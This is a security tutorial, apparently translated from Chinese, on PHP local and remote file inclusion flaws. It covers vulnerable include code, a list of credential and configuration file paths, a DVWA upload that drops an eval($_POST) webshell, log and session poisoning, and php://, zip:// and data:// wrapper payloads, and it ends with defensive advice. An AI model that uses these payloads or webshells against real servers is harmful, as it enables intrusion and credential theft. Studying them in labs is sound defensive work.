The file contains a comprehensive explanation of the vulnerability

1. What is a file inclusion vulnerability

1. Overview of file inclusion vulnerabilities
Like SQL injection and other attack methods, file inclusion vulnerabilities are also an injection type vulnerability. Its essence is to input a script or code that the user can control and let the server execute it.

What is inclusion? Taking PHP as an example, we often write reusable functions into a single file. When using this function, we directly call this file without writing the function again. This process is called inclusion.

Sometimes due to the functional requirements of the website, the front-end users will be allowed to choose the files to be included, but the developers have not considered the security of the files to be included, so the attacker can modify the location of the file to let the background execute any file, resulting in File contains vulnerabilities.

Taking PHP as an example, the commonly used file includes the following four functions:
include(), require(), include_once(), require_once()

The difference is as follows:

• require(): Cannot find the included file will generate a fatal error and stop the script from running
• include(): If the included file cannot be found, only a warning will be generated, and the script will continue to execute
• require_once() is similar to require(): the only difference is that if the file's code has already been included, it will not be included again
• include_once() is similar to include(): the only difference is that if the file's code has already been included, it will not be included again

2. Vulnerability analysis
Let's look at a simple example first, the web page code is as follows:

<?php
	include $_GET['test'];
?>

When creating a phpinfo.php page, the code is as follows:

<?php
	phpinfo();
?>

Using the file inclusion, we execute the phpinfo.php page through the include function, and successfully parse it.

After changing the phpinfo.php file suffix to txt, it can still be parsed:

Change the phpinfo.php file suffix to jpg format, and it can also be parsed:

Yes It can be seen that the include() function does not care what type of file is included, as long as there is php code, it will be parsed out.

In the summary of the file upload vulnerability in the previous issue, we uploaded a one-sentence Trojan horse in jpg format. If the website has a file that contains a vulnerability, the jpg file can be parsed as a php file, so this is the file upload vulnerability that usually cooperates with file upload. use.

Now we change the content of phpinfo.jpg into a paragraph of text: hello world!
Visit again, you can read the text content

Using this feature, we can read files containing sensitive information.

2. Local File Inclusion Vulnerability (LFI)

Vulnerabilities that can open and include local files are called Local File Inclusion Vulnerabilities (LFI).
The test page contains the following code:

<?php
	$file=$_GET['filename'];
	include($file);
?>

The website uses the file inclusion function to read some php files, such as phpinfo:

using this code, we can read some sensitive information locally in the system.
For example: C:\Windows\system.inifile.
(1) Use an absolute path
Use an absolute path to read directly:

(2) Use a relative path to read
Through ./ indicates the current location path, .../ indicates the upper level path location, which is also applicable in Linux.

For example, the path where the current page is located is C:\Apache24\htdocs\, we need to use .../ to return to the C drive to access, and the construction path is as follows:
../../windows/system.ini

Since my environment is set up on the D drive, I will not demonstrate it here.

(3) Some common sensitive directory information paths:
Windows system:

• C:\boot.ini //View system version
• C:\windows\system32\inetsrv\MetaBase.xml //IIS configuration file
• C:\windows\repair\sam //Store the password for the first installation of the Windows system
• C:\ProgramFiles\mysql\my.ini //Mysql配置
• C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
• C:\windows\php.ini //php configuration information

Linux/Unix system:

• /etc/password //account information
• /etc/shadow //Account password information
• /usr/local/app/apache2/conf/httpd.conf //Apache2 default configuration file
• /usr/local/app/apache2/conf/extra/httpd-vhost.conf //Virtual website configuration
• /usr/local/app/php5/lib/php.ini //PHP related configuration
• /etc/httpd/conf/httpd.conf //Apache configuration file
• /etc/my.conf //mysql configuration file

3. LFI Vulnerability Exploitation Skills

1. Use with file upload

Sometimes we cannot find a file upload vulnerability and cannot upload a webshell. We can first upload a webshell in image format to the server, and then use the local file to contain the vulnerability for parsing.

Take the DVWA platform as an example, select low for the Security Level, edit a picture horse, and the content is as follows:

<?php
	fwrite(fopen("shell.php","w"),'<?php eval($_POST[123]);?>);
?>

Find the upload point to upload:

the complete path for saving the file is:

The low level files on the DVWA platform contain vulnerability pages as follows:

This page is used to read files in the path of C:\phpStudy\WWW\vulnerabilities\fi\, and the code is as follows:

Now we use this page to execute the image horse we uploaded

The URL is constructed as follows, and the code is parsed successfully. The phpinfo I used here is used for testing, and the actual combat can be directly replaced with the one-sentence Trojan horse written above.

Note: We can also directly write a sentence of Trojan horse in webshell.jpg, and then connect to webshell.jpg through the loophole contained in the file, but sometimes the function of webshell will be abnormal in this method. So we choose the above method to generate a one-sentence Trojan horse in .php format, and then connect.

2. Include Apache log files

Sometimes a website has a file inclusion vulnerability, but there is no file upload point. At this time, we can also generate a one-sentence Trojan horse by using Apache's log files.

When a user initiates a request, the server will write the request to access.log, and when an error occurs, it will write the error to error.log. The log file is as follows:

When we normally access a web page, such as `http://127.0.0.1/ phpinfo.php, the access log will be recorded, as shown in the following figure:

If we access a resource that does not exist, it will also be recorded, such as accessing

127.0.0.1<?php phpinfo();?>

The web page will display 403

, but if you check the log, you will find that it was successfully recorded but encoded, as follows:

We visit again, and use burp to capture the packet, and find that it is encoded:

we modify the message back and send it again:

at this time Check the access log and write the php code correctly:

then access it through the local file containing the vulnerability, and then execute it.

We can write a sentence of Trojan horse here, and then use the webshell management tool to connect.

3. Include the SESSION file

You can first include it in the SESSION file according to the attempt, then find the controllable variables according to the content of the file, construct the payload and insert it into the file, and finally include it.

Conditions of use:

• Find the controllable variables in the Session
• Session files are readable and writable and know the storage path

The save path of the session file of php can be seen in the session.save_path of phpinfo.

Session common storage path:

• /var/lib/php/sess_PHPSESSID
• /var/lib/php/sess_PHPSESSID
• /tmp/sess_PHPSESSID
• /tmp/sessions/sess_PHPSESSID
• Session file format: sess_[phpsessid], and phpsessid can be seen in the cookie field of the sent request.

For related cases, you can view this CTF question A CTF question: PHP file contains

4. Include temporary files

Uploading files in php will create temporary files. Use the /tmp directory under linux, and use the C:\windows\temp directory under windows. Before the temporary file is deleted, the temporary file can be included by means of time competition.

Since include needs to know the filename of the include. One method is to perform brute force guessing. The random function used under linux is flawed, while there are only 65535 different file names under windows, so this method is feasible.

Another method is to cooperate with the php variables on the phpinfo page to directly obtain the storage path and temporary file name of the uploaded file, and just include it directly.

This method can refer to LFI With PHPInfo Assistance,
which is similar to using the existence of temporary files and competing for time to include them. You can take a look at this CTF question: XMAN Summer Camp-2017-babyweb-writeup

4. Remote File Inclusion (RFI)

allow_url_includeIf the configuration option and status of PHP allow_url_fopenare ON, the include/require function can load remote files. This kind of vulnerability is called remote file inclusion (RFI).

First, let's look at a piece of code

<?php
	$path=$_GET['path'];
	include($path . '/phpinfo.php');
?>

Access the phpinfo.php file in the local site directory:

This page does not do any filtering on $path, so there is a file inclusion vulnerability.

We create a test.php file in the remote Web server /site/ directory, the content is phpinfo(), and use the loophole to read this file.

But the code will add the suffix '/phpinfo.php' to the path we entered. If the php version is less than 5.3.4, we can try to use %00 to truncate it. Here, the php version is 7.3.4, which is not applicable.

Another truncation method is to truncate with the ? number. Enter the ? number after the path, and the server will think that the content after the ?

If test.php is a malicious webshell file, then this vulnerability can be exploited to obtain server privileges.

Five, PHP pseudo-protocol

PHP has many built-in URL-style wrappers that can be used for file system functions like fopen(), copy(), file_exists(), and filesize()

As follows

1. file://protocol

file:// is used to access the local file system, and is usually used to read local files in CTF and is not affected by allow_url_fopen and allow_url_include

file:// [the absolute path and file name of the file]

2.php://protocol

php://filterphp:// accesses various input/output streams (I/O streams), and php://filter is often used in CTF php://input
to read source code .
php://input is used to execute php code .

php://filter reads the source code and performs base64 encoded output, otherwise it will be executed directly as php code and the source code content will not be visible.
Conditions of use:

• allow_url_fopen ：off/on
• allow_url_include：off/on

For example, some sensitive information will be saved in the php file. If we directly use the file to open a php file, the php code will not be displayed on the page. For example, open 2.php in the current directory: it only shows

a statement, at this time we can read the source code of the specified file in base64 encoding:

Input
php://filter/convert.base64-encode/resource=文件路径
to get the encrypted source code of 2.php:

Then perform base64 decoding to obtain the complete source code information of 2.php:

php://input can access the read-only stream of the original data requested, and use the data in the post request as PHP code implement. When the incoming parameter is opened as a file name, you can set the parameter to php://input, and post the content of the file you want to set. When PHP executes, the post content will be regarded as the file content. resulting in arbitrary code execution.
Conditions of use:

• allow_url_fopen ：off/on
• allow_url_include：on

Using this method, we can directly write the php file, enter it file=php://input, and then use burp to capture the packet and write the php code:

send the message, and you can see that a one-sentence Trojan horse is generated locally:

3. ZIP:// protocol

zip:// can access the files inside the compressed package. When combined with the include function, the zip:// stream will be executed as a php file. This enables arbitrary code execution.

• Only absolute paths can be passed in zip://.
• Use # to split the compressed package and the content in the compressed package, and # should be url-encoded into %23 (that is, in the following POC, # should be replaced with %23)
• It only needs to be a zip compressed package, and the suffix name can be changed arbitrarily.
• The same type also has zlib:// and bzip2://

Conditions of use:

• allow_url_fopen ：off/on
• allow_url_include：off/on

POC is:

zip://[压缩包绝对路径]#[压缩包内文件]?file=zip://D:\1.zip%23phpinfo.txt

4. data://protocol

data:// is also similar to php://input, which allows users to control the input stream. When it is combined with the include function, the data:// stream entered by the user will be executed as a php file. resulting in arbitrary code execution.

Using the data:// pseudo-protocol can directly achieve the effect of executing php code, such as executing the phpinfo() function:
using conditions:

• allow_url_fopen ：on
• allow_url_include：on

POC is:

data://text/plain,<?php phpinfo();?>
//如果此处对特殊字符进行了过滤，我们还可以通过base64编码后再输入：
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

5. Pseudo-protocol utilization conditions

There are many ways to use pseudo-protocols, so I won’t give examples here.
Summary of usage of pseudo-protocol

6. File contains vulnerability protection

1. Use str_replace and other methods to filter out dangerous characters

2. Configure open_basedir to prevent directory traversal ( open_basedir limits the files that php can open to the specified directory tree )

3. The php version is upgraded to prevent %00 from being truncated

4. Rename the uploaded file to prevent it from being read

5. A whitelist can be set for dynamically included files, and non-whitelisted files will not be read.

6. Do a good job in the division of administrator permissions, do a good job in file permission management, and minimize the permissions of allow_url_include and allow_url_fopen